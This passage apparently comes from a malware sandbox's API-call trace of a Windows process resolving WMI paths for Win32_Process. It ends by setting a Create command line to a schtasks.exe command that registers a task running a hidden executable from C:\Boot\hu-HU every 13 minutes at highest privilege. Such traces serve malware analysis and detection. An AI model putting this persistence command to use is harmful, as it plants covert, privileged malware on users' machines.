[7]=0x46))) returned 0x0 [0062.281] WbemDefPath:IUnknown:Release (This=0x1bf10be0) returned 0x3 [0062.281] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0062.281] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0062.281] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b4e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0062.281] WbemDefPath:IUnknown:Release (This=0x119b4e0) returned 0x2 [0062.281] WbemDefPath:IUnknown:Release (This=0x119b4e0) returned 0x1 [0062.282] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0062.282] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0062.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b4e0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119b4e0) returned 0x0 [0062.282] WbemDefPath:IUnknown:AddRef (This=0x119b4e0) returned 0x3 [0062.282] WbemDefPath:IUnknown:Release (This=0x119b4e0) returned 0x2 [0062.282] WbemDefPath:IWbemPath:SetText (This=0x119b4e0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0062.282] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b420, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0062.282] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b4e0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0062.282] WbemDefPath:IWbemPath:GetText (in: This=0x119b4e0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0062.282] WbemDefPath:IWbemPath:GetText (in: This=0x119b4e0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0062.282] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x119b420) returned 0x0 [0062.282] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b4e0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0062.282] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b4e0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0062.282] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b4e0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0062.282] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119b420, uIndex=0x0, pszName="ROOT") returned 0x0 [0062.282] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b4e0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0062.282] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b4e0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0062.282] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119b420, uIndex=0x1, pszName="CIMV2") returned 0x0 [0062.282] WbemDefPath:IWbemPath:GetClassName (in: This=0x119b420, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0062.282] WbemDefPath:IWbemPath:SetClassName (This=0x119b420, Name="Win32_Process") returned 0x0 [0062.282] WbemDefPath:IWbemPath:GetInfo (in: This=0x119b420, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0062.282] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b420, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0062.283] WbemDefPath:IWbemPath:GetText (in: This=0x119b420, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0062.283] WbemDefPath:IWbemPath:GetText (in: This=0x119b420, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0062.283] WbemDefPath:IWbemPath:GetInfo (in: This=0x119b420, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0062.283] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b420, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0062.283] WbemDefPath:IWbemPath:GetText (in: This=0x119b420, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0062.283] WbemDefPath:IWbemPath:GetText (in: This=0x119b420, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0062.283] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b1e0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0062.283] WbemDefPath:IWbemPath:GetText (in: This=0x119b1e0, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0062.283] WbemDefPath:IWbemPath:GetText (in: This=0x119b1e0, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0062.283] WbemDefPath:IWbemPath:GetText (in: This=0x119b420, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0062.283] WbemDefPath:IWbemPath:GetText (in: This=0x119b420, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0062.283] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0062.283] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0062.283] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0062.283] IUnknown:Release (This=0x111f638) returned 0x1 [0062.285] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1bf10e40) returned 0x0 [0062.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf10e40, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0062.285] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf10e40, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x119b5a0) returned 0x0 [0062.285] WbemDefPath:IUnknown:Release (This=0x1bf10e40) returned 0x0 [0062.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b5a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x119b5a0) returned 0x0 [0062.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b5a0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0062.285] WbemDefPath:IUnknown:AddRef (This=0x119b5a0) returned 0x3 [0062.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b5a0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0062.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b5a0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0062.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b5a0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1bf10e80) returned 0x0 [0062.285] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf10e80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0062.286] WbemDefPath:IUnknown:Release (This=0x1bf10e80) returned 0x3 [0062.286] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0062.286] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0062.286] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b5a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0062.286] WbemDefPath:IUnknown:Release (This=0x119b5a0) returned 0x2 [0062.286] WbemDefPath:IUnknown:Release (This=0x119b5a0) returned 0x1 [0062.286] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0062.286] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0062.286] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b5a0, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x119b5a0) returned 0x0 [0062.286] WbemDefPath:IUnknown:AddRef (This=0x119b5a0) returned 0x3 [0062.286] WbemDefPath:IUnknown:Release (This=0x119b5a0) returned 0x2 [0062.286] WbemDefPath:IWbemPath:SetText (This=0x119b5a0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0062.286] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b1e0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0062.286] WbemDefPath:IWbemPath:GetText (in: This=0x119b1e0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0062.286] WbemDefPath:IWbemPath:GetText (in: This=0x119b1e0, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0062.286] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0062.286] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0062.286] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0062.286] IUnknown:Release (This=0x111f638) returned 0x1 [0062.288] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf10ec0) returned 0x0 [0062.288] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf10ec0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0062.288] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf10ec0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119b660) returned 0x0 [0062.288] WbemDefPath:IUnknown:Release (This=0x1bf10ec0) returned 0x0 [0062.288] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b660, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119b660) returned 0x0 [0062.288] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b660, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0062.289] WbemDefPath:IUnknown:AddRef (This=0x119b660) returned 0x3 [0062.289] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b660, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0062.289] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b660, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0062.289] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b660, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf10f00) returned 0x0 [0062.289] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf10f00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0062.289] WbemDefPath:IUnknown:Release (This=0x1bf10f00) returned 0x3 [0062.289] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0062.289] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0062.289] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b660, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0062.289] WbemDefPath:IUnknown:Release (This=0x119b660) returned 0x2 [0062.289] WbemDefPath:IUnknown:Release (This=0x119b660) returned 0x1 [0062.289] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0062.289] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0062.289] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b660, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119b660) returned 0x0 [0062.289] WbemDefPath:IUnknown:AddRef (This=0x119b660) returned 0x3 [0062.289] WbemDefPath:IUnknown:Release (This=0x119b660) returned 0x2 [0062.289] WbemDefPath:IWbemPath:SetText (This=0x119b660, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0062.289] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b5a0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0062.289] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b660, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0062.290] WbemDefPath:IWbemPath:GetText (in: This=0x119b660, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0062.290] WbemDefPath:IWbemPath:GetText (in: This=0x119b660, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0062.290] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x119b5a0) returned 0x0 [0062.290] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b660, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0062.290] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b660, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0062.290] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b660, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0062.290] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119b5a0, uIndex=0x0, pszName="root") returned 0x0 [0062.290] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b660, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0062.290] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b660, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0062.290] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119b5a0, uIndex=0x1, pszName="cimv2") returned 0x0 [0062.290] WbemDefPath:IWbemPath:GetServer (in: This=0x119b660, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0062.290] WbemDefPath:IWbemPath:GetServer (in: This=0x119b660, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0062.290] WbemDefPath:IWbemPath:GetServer (in: This=0x119b5a0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0062.290] WbemDefPath:IWbemPath:GetServer (in: This=0x119b5a0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0062.290] WbemDefPath:IWbemPath:GetInfo (in: This=0x119b5a0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0062.290] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b1e0, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0062.290] WbemDefPath:IWbemPath:GetText (in: This=0x119b1e0, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0062.290] WbemDefPath:IWbemPath:GetText (in: This=0x119b1e0, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0062.291] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b1e0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0062.291] WbemDefPath:IWbemPath:GetText (in: This=0x119b1e0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0062.291] WbemDefPath:IWbemPath:GetText (in: This=0x119b1e0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0062.291] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b5a0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0062.291] WbemDefPath:IWbemPath:GetText (in: This=0x119b5a0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0062.291] WbemDefPath:IWbemPath:GetText (in: This=0x119b5a0, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0062.291] WbemDefPath:IWbemPath:GetText (in: This=0x119b5a0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0062.291] WbemDefPath:IWbemPath:GetText (in: This=0x119b5a0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0062.291] IWbemServices:GetObject (in: This=0x1bf00d80, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1bef4aa0, ppCallResult=0x0) returned 0x0 [0062.294] IWbemClassObject:GetMethod (in: This=0x1bef4aa0, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1bef4e10, ppOutSignature=0x1b2fd9e0*=0x1bef5180) returned 0x0 [0062.294] IWbemClassObject:SpawnInstance (in: This=0x1bef4e10, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bebf900) returned 0x0 [0062.295] IWbemClassObject:Get (in: This=0x1bebf900, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a6c340*=0, plFlavor=0x2a6c344*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a6c340*=8, plFlavor=0x2a6c344*=32) returned 0x0 [0062.295] IWbemClassObject:Get (in: This=0x1bebf900, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a6c340*=8, plFlavor=0x2a6c344*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a6c340*=8, plFlavor=0x2a6c344*=32) returned 0x0 [0062.295] IWbemClassObject:Put (This=0x1bebf900, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"bitkinexb\" /sc MINUTE /mo 13 /tr \"'C:\\Boot\\hu-HU\\bitkinex.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 